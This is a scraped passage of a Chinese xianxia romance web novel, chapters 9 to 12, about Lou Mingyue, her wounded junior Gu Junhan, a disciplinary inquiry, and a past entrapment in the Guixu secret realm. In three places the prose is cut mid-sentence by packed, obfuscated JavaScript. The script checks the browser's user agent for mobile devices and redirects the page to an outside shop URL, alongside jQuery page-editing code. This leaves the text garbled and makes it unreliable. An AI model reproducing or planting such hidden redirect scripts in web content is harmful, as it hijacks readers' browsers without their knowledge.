当茯苓端着一盆血出来的时候,几乎所有人都围了上来。 人群外失魂落魄的楼明月,心也一下子揪紧。 茯苓被人围在中间,七嘴八舌地询问状况。 她扬了扬下巴,面上带着点骄傲:“这世上就是大罗金仙都救不了的人,只要经我师父出手,也能让他起死回生!” 楼明月闻言松了口气,悬着的心终于落地。 门“吱呀”一声从内打开,众人顿时围了上去。 茯苓将那盆血水倒入花圃,转头就看到了阶下孤零零站着的楼明月。 她激动地走了过去,适才发现她的脸色很差。 瓷白的脸颊不见半分血色,双唇紧抿成一线,惯常淡漠的眸子如今却恍然失神,连指尖都在微微发颤。 那个被扣上“仙子”名头的楼明月,不论发生什么事总会强撑着一份平静。 多少年了,也不曾见她为谁紧张成这样过。 她重重哼了一声,不服气地嘟囔道:“真不公平,我上次试药昏过去三天,怎么不见你为我着急成这样啊?” “难不成真和二哥说的一样,你看上那个新来的小师弟了?” “只闻新人笑,哪闻旧人哭啊!喂!你那肿成猪头的小侍卫可还在我三圣山待着呢!” 她被逗笑了,神情无奈:“试药昏迷,不是你应付掌教的借口吗?” “以前是,但人家上次不是啦!” 楼明月心里想到什么,笑意很快凝滞,问出了自己最关心的事。 “他的伤势…怎么样?” 茯苓:“很险,刀刃再往里入分毫主脉就断了。我医治的时候他就只剩一口气了,幸好等来了我师父!” 她眉头蹙了蹙,紧接着问道: “可会留下什么遗症?” “这…得看后续的恢复情况了,若是没养好的话,以后心脏受不了刺激,恐怕不能再习武打擂了。” 楼明月眼神空然地点了点头。 “明月!” 一声叫喊打断了两人的交谈,楼明月循声望去,周漾在高阶上大喊。 “小师弟他醒了——” 她闻言眸光轻颤,反应过来后立刻往阶上跑。 周漾却一把拉住了她。 “你先等等!” 他紧张地看了看周围,压低声音道:“稽查司的人也在里面,万一那小子把你供出来怎么办?” 楼明月对此倒是很冷静。 早在顾钧寒一把掀翻她帷帽的时候,她就已经做了最坏的打算。 “随他吧,大不了落个残害同门的罪名,将我逐出宫作罢。” 她说完就走了,坦然迈步进了房间。 推门而入的那一瞬间,恰好和卧于病榻的顾钧寒相视。 他的脸色略显惨白,身子斜倚在榻上,胸膛上缠了一圈又一圈的纱布。 那颗萦蓝妖珠,则被他紧紧攥在掌心,一刻也不肯松歇。 他仔细盯着楼明月,如愿以偿地从她脸上找到几分担忧。 想起她落在自己身上的那滴泪,和以为自己死了恍然若失的那些话。他偏过头不去看她,眼底浮上一抹不可察觉的笑意。 上辈子你一剑斩杀我的时候,也像现在这样难过吗? 楼明月之后紧跟着的就是周漾。 稽查司的人见她进来已是不爽,看到身后的周漾,更是直接垮下脸。 周漾切了一声,一副泼皮架势。 “瞪瞪瞪,瞪什么瞪!” “眼睛不好使就去三圣山,要躺尸也回你们獬豸山躺去,别给我翠微山添晦气!” 裴九思被激得瞬间暴起: “你好歹也是监察使,难道不知道问审时清除闲杂人等的规矩吗?!” 稽查司的“监察使”,由三宫各自推举一名弟子兼任,代表三宫互相监督,保证公平。 譬如周漾,他就是专门负责玄英宫的监察使。 周漾闻言不但没有被谴责住,反而更来气了,直接破口大骂。 “滚蛋!” “什么狗屁监察使,我上次拿这个死令牌去玄英宫,不还是被扫地出门了!” 一旁持笔记录问审过程的鹿瑾,抬头反驳道:“私人恩怨,就别怪我们稽查司了吧?” “别说你是监察使了,你就是宫主,觊觎别人家掌上明珠也是要被扫帚请出门的!” 这指的是温珒怀, 周漾罕见地被噎住了。 他看向榻上轻微咳嗽的顾钧寒,很快转变了说辞,试图把他们都轰出去。 他一脸悲痛愤慨:“你们这群人,只想问出个前后所以然来,只有我关心我师弟冷不冷、饿不饿、渴不渴!” “我师弟大病未愈,你们只知道在他房里吆五喝六地糟践他!” 裴九思闻言懵了。 问话而已,这算……糟践? 鹿瑾挠了挠脑袋,咂摸出几分不对劲。 “等等,貌似这整个房间,声音最大的就是你吧。” “你说话都震的我耳朵疼!” 周漾呸了一声:“那是你有耳疾!少往我身上赖!” 他回头挑眉:“明月,你说呢?” 楼明月一脸诚恳: “二哥,他说的是真的。” 周漾简直两眼一黑, 队友拆台怎么办? 裴九思被他吵得头疼,大手一挥干脆道:“罢了罢了,你们非要围观我也拦不住。” “只是有一点,不准打断问审过程,否则我必定告到楼宫主哪儿去!” 两人连忙点点头。 裴九思去掉了嘘寒问暖的部分,正式开始了问审。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059043|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“顾师弟,你还记不记得当时遇刺的情况?” “记得。” “我当时正在寻姑获鸟的踪迹,身后突然蹿出来一个人要对我下杀手。” 裴九思点了点头:“你知道她是谁吗,可记得那人的模样?” 周漾心下一紧,屏息凝神地盯着他。 顾钧寒短暂沉默了一会儿,偏眸看了一眼远处的楼明月。 对方静静伫立着,不见一丝慌乱。 他勾了勾唇,“当然记得。” 周漾闻言再也坐不住了,刚要开口说话时,却被楼明月出手拦了下来。 她神情坚决,朝他摇了摇头。 随即目光坦然地看向顾钧寒,大有一副视死如归的架势。 他见状没忍住笑了,在众人一头雾水的时候开口。 “她长得很漂亮,尤其是眼睛,很大很亮很勾人。像一谭春水,又像一捧被暖阳照过的积雪。” 裴九思闻言眉头紧皱,神情僵硬。 负责记录的鹿瑾停笔,质疑道: “她捅你的伤口这么深,非寻常力气可为,眼睛里闪的怎么也得是杀气吧?” “你还很亮很勾人,什么春水暖阳的,顾师弟,你脑子里在想什么呢!” 裴九思咳了两声。 “有没有其他的线索?” “有啊。” 顾钧寒身子往后靠了靠,语气略显轻浮。 “她凑过来的时候,身上有一股淡淡的清香。” 裴九思一脸认真:“是迷魂香?” 他摇了摇头,“应该是她的体香。” “……” “……” 众人一脸无语,她怎么没捅死你呢? 周漾大概知道他是在故意敷衍稽查司,心里松了口气。 楼明月的脸色有些难看,她宁愿和顾钧寒光明正大的决一死战! 裴九思气得直接闭眼,咬牙切齿道:“除了眼睛大,还有什么五官特征吗?” 顾钧寒叹了口气,一副认真回想的模样。 沉默了半晌,最后摇头。 “其他的我都不记得了。” 裴九思忍无可忍,拍案而起。 “不记得了?你给我描述了一堆没用的破细节,又是香又是亮的,我现在问你她鼻子嘴巴长什么样,你跟我说不记得了?你耍我啊你!” “你是眼有隐疾不辨五官,还是脑袋被驴踢了语无伦次?!” 顾钧寒神情悠闲,仿佛骂的不是他一般。他有意无意地看了一眼楼明月,眼中带着几分调笑。 “中州人都说…打是亲骂是爱,我想,她大抵是太爱我了,伤我一事我就不追究了。” 楼明月闻言身子微晃,脸色铁青,比被逐出宫门还难受。 裴九思气得要对他动手,身旁的鹿瑾连忙拦了下来。 “顾钧寒!你这个混账,你竟然敢戏耍我们稽查司!” “太清宫怎么会有你这样浪荡的弟子?无耻程度简直跟周漾有的一拼!!” 周漾耸了耸肩膀,一脸无辜:“喂,这跟我有什么关系?” 鹿瑾死命抱住他的腰,生怕他情绪上头把人揍了。 “算了吧师哥,听说玄英宫的鱼锦澄也受伤了,咱们还是去玄英宫问话吧,哪儿的正常人比这儿多!” “我再来你们太清宫我就是狗!” 裴九思骂骂咧咧地走了。 他从稽查司调来的那些人,纷纷长袖一甩,也都被气走了。 顾钧寒以一己之力,惹恼了整个稽查司,达成了和万年臭名昭著的周漾齐名的程度。 现在房里只剩下三人,彼此间的视线再无遮挡。 楼明月盯着他,已经记不清是多少次觉得他陌生。 觉得他和自己印象里的顾钧寒,判若两人。 10. 第 10 章 榻上人神情恹恹,强撑出的几分精神气被伤口处传来的阵痛磨灭了。 他眉头紧锁,冷玉般的脸上疼的直冒冷汗。一手捂着胸口,仔细看去,缠裹密集的白色纱布上已隐隐渗出些鲜红。 楼明月看着他,什么都没说,和稽查司那些人一样离开了房间。 周漾看着她的背影,一时有些无措。 他对于两人之间这种怪异的气氛,虽然早就有所察觉,却从不知为何。 包括楼明月要取心头血这件事,他也不知道她是为了什么。 只是从没见她这般恳求的模样,心一软就应了她。 眼下楼明月一声不吭地走了,顾钧寒一个人坐在榻上,垂首默然,失落之余好像又有些意料之中。 周漾在心里默默吐槽。 这两个人,哪儿像是刚认识半个月的师姐弟? 说句离谱的,分明像是之前就有过爱恨情仇的怨侣。 没过两秒,茯苓提着药盒推门而入。 “怎么搞的嘛,怎么这么快伤口就裂了。” 她一把推开床头的周漾,埋怨谴责道:“都怪你们一群人进进出出的,妨碍人家病人休息!” 周漾双手环抱,倚在床头,看着她小心翼翼地拆下旧纱布。 “小势利眼,这话你怎么不到稽查司面前说去?” 他哼哼两声:“也就只会欺负欺负我这个老实人。” 随即蹲了下来接过纱布,自觉给她打下手。 茯苓上完药后很快缠好了纱布。 她抬头,歪了歪脑袋,仔细盯着顾钧寒探看。 对方虽然面色苍白,却衬得眉眼愈发清隽。一双凤眼半睁半阖,倦怠里透出几分少有的矜贵。唇瓣薄而色淡,抿成一条冷硬的直线。 她在心里默默点了点头。 这个新师弟的模样……她还是很满意的。 茯苓起身,交代道:“这几天好好养伤,别再让明月担心了。” 顾钧寒闻言动作一僵,双眼猛地睁大。 方才的平静和倦怠荡然无存,漆黑眸色中带着几分惊诧。 “你刚刚说…师姐担心我?” 茯苓不以为意,实话道:“当然了,你重伤昏迷不醒的时候,她在外面吓得脸都白了。” 她边回忆边道:“简直是六神无主,失魂落魄…我还是第一次见她这副模样呢!你面子可真大!” 他心头暗爽,窃喜在心底翻腾而起。 眉峰微挑,愣神不过须臾,随即唇角不受控制地扬起来,笑意从眼底蔓延,笑得格外傻。 茯苓疑惑地看着他,不明白刚才那个清冷谪仙的小师弟,怎么转眼就成了个乐呵傻子? 她抱着药盒子退出房间,转头就看见了门外等待多时的楼明月。 她莫名瞪了自己一眼,神情也有些怪异。 茯苓睁着一双圆溜溜的大眼睛看向她,无辜得很。 “他的伤口我已经重新包扎好了,你不进去看看吗?” 楼明月无奈叹了口气,“不用了。” 楼明月不想见他,也不知道该怎么面对他。 带着那瓶心头血,一个人回到了清冷的昆吾山。 房间里的布置陈设都和上辈子一模一样,她看着小玉瓶中的那抹血红,思绪仿佛再次被拉至沧澜二十五年。 沧澜二十五年,她虽然也服下了心头血,却被告知时机太晚,体内的伏心树已经固化,即使显形也无法停滞其生长,进而恢复记忆。 这一次,逼出她体内伏心树的时间早了八年。 八年……会有什么不同吗? 她仰头,将瓶内的血悉数咽了下去。 熟悉的焚烧炙热感传来,她痛苦地皱着眉头,身子倒在塌沿,指甲嵌入掌心渗出血丝,在一阵痛苦的低吟中煎熬等待着那场“火”的出现。 楼明月浑身麻痹,意识也在崩溃迷离之间。 终于,她体内的温度越来越高。 一场异火,在识海中不断高涨升腾,搅得整个内景翻天覆地、不得安宁。 识海的重心处,渐渐幻化出一棵遮天蔽日的苍穹古树。 身上的那股灼热渐渐褪去,楼明月也近乎虚脱,闭上眼进入了内景。 她伸出手,恍如隔世地抚摸着那棵古树。不论是上辈子还是现在,都觉得它异常庞大。 老树枝干虬结,投下的阴影密不透风,已经笼罩了自己很多年。 甚至淹没了另一个自己, 另一个楼明月。 她在树下静静等了很久,等到身上的灼热感彻底消退,等到内景风波逐渐平静,却还是什么都没有发生。 仿佛一切都和上辈子一样,它静静伫立着,悄无声息地吞噬掉自己的记忆。 楼明月有些失望,心里仍在想着法子把它根除掉。 识海外传来一阵声音,她睁开眼,从内景中退了出去。 打开房门,发现是周漾。 他倚在门框上,冲着她挤眉弄眼。 “怎么样啊,小明月,你那瓶血派上用场了吗?” 楼明月闻言眉头微挑: “你知道我要干什么?” “不知道,我猜的。” “我听说南蛮有一种巫蛊术,只要取得钟爱之人的心头血,便可做真情傀儡,让他对你死心塌地~” 楼明月冷哼一声,“巫蛊之术伤天害理,我当然不会做。” 她好心提醒道:“这招也别想着对温珒怀使,她一定会杀了你的。” 周漾大失所望地“啊”了一声。 “你不是为了这个?那你干嘛非要人家的心头血啊?” “我……” 楼明月有些犹豫,不知道该和他从何说起。 他摆摆手打断道:“不想同我说便罢了,你还是想想,怎么给人家小师弟一个交代吧。” “他现在疗药不喝,饭食不进,吵着闹着要见明月师姐——” “他要见我?” 楼明月闻言心下一惊。 周漾肯定道:“对,就是你,明月师姐!” 该来的怎么也躲不掉,除非他打算一辈子不见他,否则迟早要面对顾钧寒这个冤家。 她跟这辈子相识不久的小顾钧寒说不清楚,为什么要在他试炼这样重要的日子行刺。 她同样也不清楚,对方为什么要撞上刀刃寻死。 她也不敢问,不敢试探。 生怕哪一句问得多了,哪一步走得过了,便让他乍起疑心,跳过一切隐忍的步骤,直接把自己掳回邪殿。 总之,顾钧寒于她而言,便是不知何时爆发的洪水猛兽。 她只想在这头猛兽彻底爆发前,弄清楚自己的一切。 伏心种是为何人所种? 自己遗忘的记忆究竟是什么? 以及…深埋心底的另一个楼明月,为什么会为一个“邪”而流泪? …… 戌时一刻,翠微山。 楼明月是在他拒绝喝药的第三次推门而入的。 茯苓见到她如同见到救星般,匆匆把药递给她,连忙拔腿跑了出去。 走之前最后交代道:“让他趁着药性快点儿喝,再浪费一碗,以后休想从本姑娘这儿要到一株草药!” 楼明月低头,看了眼手中的药碗。 秋寒透帷,那碗微凉的药汁盛在白瓷碗里,触手生凉,寒意丝丝缕缕漫过指尖。 他拗了很久,一碗药在炉上煨了三回,回回都从热气腾腾等到近乎冰凉。 “为什么不肯喝药?”她问。 “你很怕苦吗?” 顾钧寒笑了一声,忍着内伤阵痛转过身子,目光灼灼地看着她。 “汤药不比相思苦,我不怕苦。” 楼明月闻言神情微愣,眸中闪过一抹讶然,反应过来后轻蹙眉头,装作没听到,镇定其事地走了过去。 “既然不怕苦,那就喝了吧。” 她将药碗递给他,顾钧寒却没有要接过去的意思。 他唇角上扬噙着一抹笑意,眉眼间满是狡黠,语气带着些无赖的意味。 “师姐,我若臂膀发力会牵扯到伤口的。” 楼明月表面笑盈盈,手上的力道恨不得把药盏捏碎。 好你个顾钧寒,还学会蹬鼻子上脸了? 但想到他这伤的来处,楼明月还是坐了下来,拿起汤匙,耐着性子给他喂药。 顾钧寒垂眸,盯着她骨节分明的手指,怔了半晌才微微启唇。 舌尖不经意擦过匙沿,将那勺药汁吞入,喉结缓慢地滚了一下。 碗底药汁见底时,楼明月起身,握着空碗要走。 却被他一把攥住了手腕,堪堪坐回塌沿。 楼明月对于他的触碰有些应激,几乎是瞬间眉头紧蹙,甩开了他的手。 挣扎间不惜碰掉了药盏,“啪嗒”一声滚落在地,转了几圈,多了几道细纹裂痕,好在并没有碎裂开来。 他身子一倾,措不及防地凑近。 “师姐这么急着走,就没什么想和我说的吗?” 灼热的呼吸密密匝匝扑在她颈侧,语调低哑辨不出情绪,却攥住她那颗蓬勃跳动的心,生生漏了一拍。 她亏心事做的少,经不起这样的试探。 她闭上眼,最终叹了一口气。 “是,我是想问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾钧寒看向她的眼神总是很直白,带着一种强烈的欲望。 这种“欲望”不是要把她拉入旖旎中的低俗卑鄙,反而把她高高架起,视若神明般珍重爱护,成为她座下最虔诚的信徒。 是信徒,却也必须是唯一的信徒,不容许除他以外的任何人染指、参看。 所以,是虔诚又恶劣的信徒。 虔诚跪拜,又恶劣占有。 楼明月被他盯得浑身发麻,呼吸紧滞,感觉再这么待下去,身体都不是自己的了。 她起身想逃,这次顾钧寒没有拦她。 她走了没两步,自己却停了下来。 顾钧寒的话在脑海里挥之不去,在她心里泛起了圈圈涟漪。 她感受着识海中那颗生机旺盛的伏心树,总不禁往最坏的方面去设想。 她忽然转身,第一次这么认真地看着他,开口道:“如果我一直都记不起来呢?” “你口中的那些‘久远’,也许我这辈子都不会想起来。” 她垂眸,真心实意道:“我不知道你是为了什么进入太清宫。总之在这里,钱财名利可图,宝物机缘可图,唯独那些虚无缥缈的东西,你怎么等也等不到的。” “与其苦守一生,白白耽误韶华余年,不如早日看透聚散离合。” 他目光沉沉地落在她身上,那双深黑的眼眸仿佛能穿透人心,将她所有的思绪映照得一清二楚。 她在劝他放手,这怎么可能呢? 他勾了勾唇。 姣姣,我不会放手的, 生生死死都不会。 “师姐,不要害怕。” 他眼神温柔,轻声安慰道。 “伏心树控制的是你的心,只有你自己才能反抗根除它,只要你想——” 邪神濒死时的心头血,只能逼出她体内的伏心树,让它显形并停止生长。 但是它之前就已经长出的那些繁枝茂叶,只有楼明月自己才能将其消除。旁人说得再多,不过尔尔便会被遗忘。 伏心树上结出的每一片叶子,每一朵琼花,都含着她被封印的记忆和情感。 她不会轻易放弃,顾钧寒也不会罢休。 他从袖中掏出一方帕子,里面小心翼翼地裹着一支玉簪子。 楼明月定睛看了看,正是他上次找自己讨要的那支荷花玉簪。 不同的是,原本破损的那一小块儿地方被人打磨圆润,嵌入了一颗小小的被雕刻成花苞状态的粉色晶石。 他眉眼一弯,笑道: “这支旧簪我补好了,等你记起来我们的第一面,我就把它还给你。” 楼明月站在原地,愣神了好久。 她心里有些异样,好像有什么经久不动的东西开始流转了。 顾钧寒, 好像也没那么讨厌。 11. 第 11 章 继顾钧寒之后,新入内弟子鱼锦澄同样落得个重伤濒死。 不到半柱香的时间,他们就慌忙放出了遇险信号,随即一行人都被抬了出来。 只是他的伤口与顾钧寒极其不同,骨血同枯,生脉遭创,非人力可为。 这些话,楼明月都是听周漾说的。 他听说温珒怀为了救下自己的师弟也身负重伤,连忙赶去玄英宫探看。 他去的时候,殿前已是人满为患,到处围得水泄不通。 三圣山近乎一半的弟子都在这儿,几个掌教听说情况棘手也是接连现身。 一盆一盆的血往外倒,治疗方案试了又试改了又改,现场气氛紧张得不行。 都说玄英宫的那行人,是在鬼沼山遇到了什么怪物才变成这样的。 具体是什么怪物,目前没有一个能给出回答的人。他们不是昏迷不醒,就是被吓得失神夺志了。 而温珒怀,一行人中修为最高的掌灯弟子,让周漾死心塌多年的人。 楼明月有些不可置信,她那样沉稳冷静,竟会是精神崩溃的那个。 她和温珒怀的关系谈不上有多好,但也论不着是死对头。 两人年岁相近,从小一起长大,突然有一天她却对自己充满了敌意,疏远冷漠得像个陌生人,嘴里振振有词念叨着: “总有一天,我要让你毫无反抗之力地败在我脚下。” 楼明月觉得奇怪,以为她只是单纯地讨厌自己,没怎么放在心上。 周漾趁乱挤进了温珒怀的寝殿,在旁人都束手无措之际,他只一眼就看出她崩溃为何。 温珒怀双眼紧闭,惊恐又害怕地把自己抱成一团,不允许任何人触碰。 明明已经闭着眼,但好像还是能看到什么东西,一边尖叫一边说些别人听不懂的话。 众目睽睽下周漾走了过去,一把攥住她的手腕,逼着她仰头看向自己。 挣扎间对方给了他一巴掌,“啪”地一声震响,火辣辣的痛感传来,他半边脸颊顿时红肿。 掌教赵双双见来者是他,恨铁不成钢地骂道:“小混账!这儿现在正乱着呢,你来添什么乱?赶紧滚蛋,小心我告诉你师父去——” 周漾“嘶”了一声,倒吸了一口凉气,忍着痛意没吱声。 这次他用了十足的力道,将她牢牢压在塌上,连挣扎的余地都没有。 “温珒怀,你有本事就睁开眼睛看看!” “你看看我,我是周漾不是段暄,你更不是付雪扬!” “这儿是天翎宗,不是什么归墟秘境!你出来了,你早就已经从那个鬼地方走出来了!” 众人惊呆了,见他如此逾矩嘴里还说着胡话,都以为他是疯魔了。 人群中有玄英宫的弟子大喊道: “我靠!快去找明月师姐和贺师兄,周漾他爱而不得变态了——” 掌教赵双双和殷素华,两人简直两眼一黑,连忙把他扒拉下来一顿胖揍。 赵双双双手叉腰,踹了他好几脚: “你个混账东西!大庭广众之下你都敢这么轻薄人家姑娘,我要告上三庭,让你师父扒掉你一层皮不可!!” 周漾被打得快要吐血,连忙求饶道:“冤枉啊,我是为了唤醒她啊……” “我呸!” 赵双双冷哼一声,指着他大骂。 “你个淫贼、色贼、采花贼!敢在老娘面前做这种腌臜事,小心老娘剁掉你一只手!” 楼明月和贺玄音赶到的时候,看到的就是这副场景。 周漾趴在地上被人打的半死不活的,一群人围在温珒怀身边关心她是否受惊。 局势看起来很明显。 这不就是登徒子轻薄人被抓住的场面吗? 楼明月知道来了要丢脸,但没想到要丢这么大的脸。 正当她思考着要不要偷偷走掉的时候,看到救命稻草的周漾连忙大喊。 “明月!救命啊——” “贺玄音救我!!!” 所有人的视线都聚集了过来,两个人就是想逃也来不及了,在众人谴责的目光下,硬着头皮走了过去。 楼明月将地上的周漾扶了起来。 贺玄音先是向两个掌教鞠了一躬,面带愧疚道:“给二位师父添麻烦了,我现在就把他带走。” 赵双双冷哼一声,横眉说教道: “阿音呐,你是大弟子,平常别光顾着自己修行,也该管好门下的几个师弟才是!” “你看看这个混账,平常失态就罢了,今天都敢跑到玄英宫上欺负人了,再过两天他是不是想上天啊他?!” “我没欺负……” 周漾刚要开口说话,被贺玄音偏头一个警告的眼神止住了。 楼明月拍了拍他的肩膀,小声劝道:“二哥,你还是安分点儿吧。” “得罪了大师兄,以后你挨打都没人能拦得住师父。” 周漾苦着一张脸,忍了又忍,最后蹦出来一句,“好人难当啊……” 赵双双还想再说些什么,另一边的殷素华突然惊喜大喊道:“醒了醒了,人醒了!” 一听这话,赵双双也顾不上他们几个,连忙凑到塌边去。 温珒怀的意识已经清醒过来,眼神不再恐惧,渐渐恢复了往日的平静。 紧绷的身子放松下来,急促的呼吸也趋于平缓。 “他呢?” 温珒怀开口,声音略显嘶哑。 赵双双愣了一秒,反应过来道:“嗷,是在说你那个小师弟吧?” 她摇了摇头。 “周漾。” 这是她为数不多,叫周漾名字的时候。 周漾终于挺起腰板,刚挨了一顿打,一听到对方叫自己就立即像个没事儿人一样。 “这儿呢这儿呢!你放心,她们没把我打死。”他扬着笑脸乐呵道。 温珒怀蹙了蹙眉头,苍白的脸上没有一丝温情,似乎并不想和他多扯。 她目光如炬地盯着他,纵然精神不好,气场却丝毫不减。 “你终于承认你不是段暄,我不是付雪扬了?” 这是她们俩之间的一段往事,楼明月听过一嘴,但记不太清了。 周漾被这话噎住,张了张口,想说什么又没说出来。 温珒怀直接道:“那就好。” 她转而看向赵双双和殷素华。 “鬼沼山里发生的事,我要去三庭给诸位长老汇报,劳烦两位掌教帮我通报一声。” 三庭,是三宫宫主和各级长老集中商讨要事的地方。 温珒怀一醒就要去三庭,想来鬼沼山里发生的事情必然不小。 赵双双连忙应了下来,赶往三庭传话。 温珒怀说完那句话之后,周漾就像是被点了穴般,一动不动地站在原地。 温珒怀的魂是回来了,他的魂却好像丢了。 楼明月扯了扯他的衣袖,又在他眼前晃了晃手掌,“二哥,这里是玄英宫,我们该走了。” 贺玄音没有那么温柔,为他处理这些烂摊子处理得多了,即使有也被他消耗殆尽了。 他粗暴地拽住周漾的衣领,气的咬牙切齿,语气生硬道:“再不走,我就一巴掌把你打醒!” 周漾看着温珒怀离去的背影,低眉垂眼,赌气般不肯开口。 贺玄音恨铁不成钢地推了他一把。 “你到底听清楚了没?” “段暄和付雪扬的梦已经结束了,你想继续做这个梦,人家不想!你能不能有点儿出息!” 再次听到这两个名字的时候,楼明月脑中有什么东西一通,似乎找回了些久远的记忆。 几年前,她和温珒怀还只是普通弟子的时候。 天翎宗举行过一次“外放赛”。 外放赛,是在整个玉京范围内设置上百道试炼幻境,并在其中广施灵泽。然后将年龄合适的弟子们通通放下山去参加试炼。 灵泽,既可以聚成一团内化吸收,增强修为;也可以找到山上的掌教,用一定数量的灵泽来兑换相应的宝物。 楼明月对宝物不感兴趣,修为上也不急功近利。但那一年,她还是卯足了劲儿想要得到足够多的灵泽。 她想用那些灵泽,去跟师父求一个恩典。 恩典什么,她已经记不清了。 好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059045|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …是为了什么人? 应该是被伏心树抹去了这段记忆,所以才那么模棱两可。 而温珒怀,那一年的她也十分拼命。不管是什么危险程度的试炼幻境,只要蕴含的灵泽多她就敢闯。 那时候的周漾对温珒怀还没这个心思,只把她看做邻家小妹,看着她满脸严肃的样子,当个乐子逗一逗。 转折点在,她们仨闯了同一个试炼幻境。 而那道幻境,并不属于天翎宗布下的幻境。 那是上古归墟秘境,当初封印遗漏而遗留下来的碎片所化。 归墟秘境很危险,是独立于神域和人间的另一种存在。 里面有造物主造物失败后丢弃的各种怪物(统称为“墟魇兽”),也有被人的极端执念改变了历史走向,而衍生出的“并行世界”。 不知道是什么原因,让这个本该隐蔽于时空的秘境在人间开启了。 三个人刚踏入其中,温珒怀就立马和他们拉开了距离,一个人孤僻地走在最前面。 楼明月正要迈步,却被周漾一把拽住了胳膊。 年长些的他已经察觉出了不对劲。 他看着身后那道马上就要闭合的境门,虽然不能肯定,心里一种不好的预感却越来越强烈 最后一刻,他奋尽力气把楼明月送了出去,自己和温珒怀则被困其中。 楼明月突然被推了出来,一时跌坐在地,还没有反应过来情况。 她看着那道已经被封闭的境门,幽光一闪,先前显现的属于天翎宗的印记已经消失,变回了它原本的模样。 楼明月立刻意识到,是有人对这道境门做了伪装,专门引诱天翎宗的弟子进入其中。 彼时她力量尚弱,实在无法撼动归墟境门,于是放弃了比赛,匆忙赶回宗门求救。 宫主们赶到的时候,也费了一番功夫才打开境门。 至于救出他俩,就更费功夫了。 谁也不知道他们掉入了哪个并行时空,归墟秘境即使是碎片,也不是能被人随心掌控的。 就这样大海捞针地寻了一个月,还是了无音讯。 当所有人都以为她们死了的时候,这两个人竟然自己从中走了出来。 打那以后,温珒怀性情大变,在某些事情上愈发偏执。 周漾收起了风流,从原来四处留情的浪荡子,变得对温珒怀死心塌地。 贺玄音说,他们俩是幸运的。 他们没有掉入任何一个并行时空,而是找到了归墟秘境里唯一的存在——离恨天 那个地方看起来和人间没什么两样,具体是什么情况,大概只有去过的周漾和温珒怀知道。 不过温珒怀抗拒那段记忆,周漾只会给好奇的人编一箩筐谎话。 所以传出来的版本,没有一百也有八十,实在不堪信。 至少有一件事情楼明月是知道的。 他们俩双双失忆,阴差阳错下在离恨天里成了婚,一个叫段暄,一个叫付雪扬。 在外面不过短短一个月,在里面两人竟然过了一辈子。 温珒怀以这段经历为耻辱,勒令封锁了消息,除了三宫宫主和两个内山弟子外,几乎没人知道。 所以段暄和付雪扬这两个名字一出,旁人只觉得是周漾疯了,并不知道其中内情。 现在,周漾还是不肯走。 贺玄音扣住他的手臂,用力一扯,半押半拽地把他带走了。 楼明月看了看时辰,决定先去翠微山给顾钧寒上药。 主要是因为…… 他们俩现在的姿势太引人瞩目了,路过的人几乎是百分百回头,还要再补几句八卦: “那是太清宫的周漾吧,他怎么又来了?” “还能为什么,整天缠着我们温师姐不放!太清宫的人怎么那么不要脸!” “对了对了,我听说太清宫新来的那个师弟也是,在稽查司面前都敢大放厥词呢!气的裴司使话都说不利索!” “啊?那不是比周漾还混蛋?!” 楼明月:“……” 她发誓,在周漾丢出去的脸没捡回来之前,她都不要再踏足玄英宫了。 12. 第 12 章 茯苓罢手之后,照顾顾钧寒的差事就落到了楼明月的身上。 他的一剂方药需文火慢煎半个时辰,一共两剂。楼明月从玄英宫回来后就匆匆赶往翠微山的小厨房开始煎药。 当她端着药去找顾钧寒时,没想到竟然在房内看到了师父的身影。 楼溪滕背对着她,身形端如修竹,一袭深色素雅的长衫,衣袖轻摆,不见半分浮躁。 她轻轻叹了口气,语重心长地同顾钧寒讲了些什么。 不过几步的距离却施下了乱音咒,站在门沿的楼明月只能听到声音,却听不清她们说了什么。 她叩了叩门,楼溪滕声音微顿,手一挥撤掉了咒术墙,召她进来。 “师父。” 她规矩地行礼,随即把汤药递给了榻上的顾钧寒。 楼溪滕看着她点了点头,“你来的正好,我也有事要问你呢。” “玄英宫的事都听说了吗?” 楼明月点头。 “温丫头说是遇到了墟魇,三庭几个长老核查后,发现浮屠城的封印被人破开了,并入其中的归墟秘境也分裂成了碎片,了无踪迹。” “几个墟魇兽逃到了鬼沼山,正巧碰上她们试炼,得亏那丫头有经验,冒死将两个师弟带了出来。” 楼溪滕看向她,眉梢蹙了蹙,语气中略带责备。 “你进去的比玄英宫早,怎么没发现浮屠城的封印被破了呢?” 楼明月神情微顿。 想来玄英宫的宫主,也在三庭上痛斥过她,明明早些进去,为什么不告知山内险况。 她进去的时候光想着怎么对顾钧寒动手了,完全没察觉到里面的不对劲。 “弟子愚钝,不像温师姐那样细心。” 楼溪滕不这么想,在她心里,没有人能比得过她最得意的弟子。 她挥了挥袖子,毫不掩饰地偏袒道:“罢了,也是她命里有这一劫,你想拦也拦不住。” “如今最要紧的还是归墟秘境,当初既将它封印在我天翎宗,如今下落不明,我们也得给天下人一个交代才是。” 三十年前,归墟秘境开启,引得天下腥风血雨,灾祸瘟疫横行 是一位青衣修士横空出世,以自己的性命为代价封印了归墟。 他的力量化作一场甘霖,抚平了世间所有疮痍。 自此天下太平,改年号为“沧澜”。 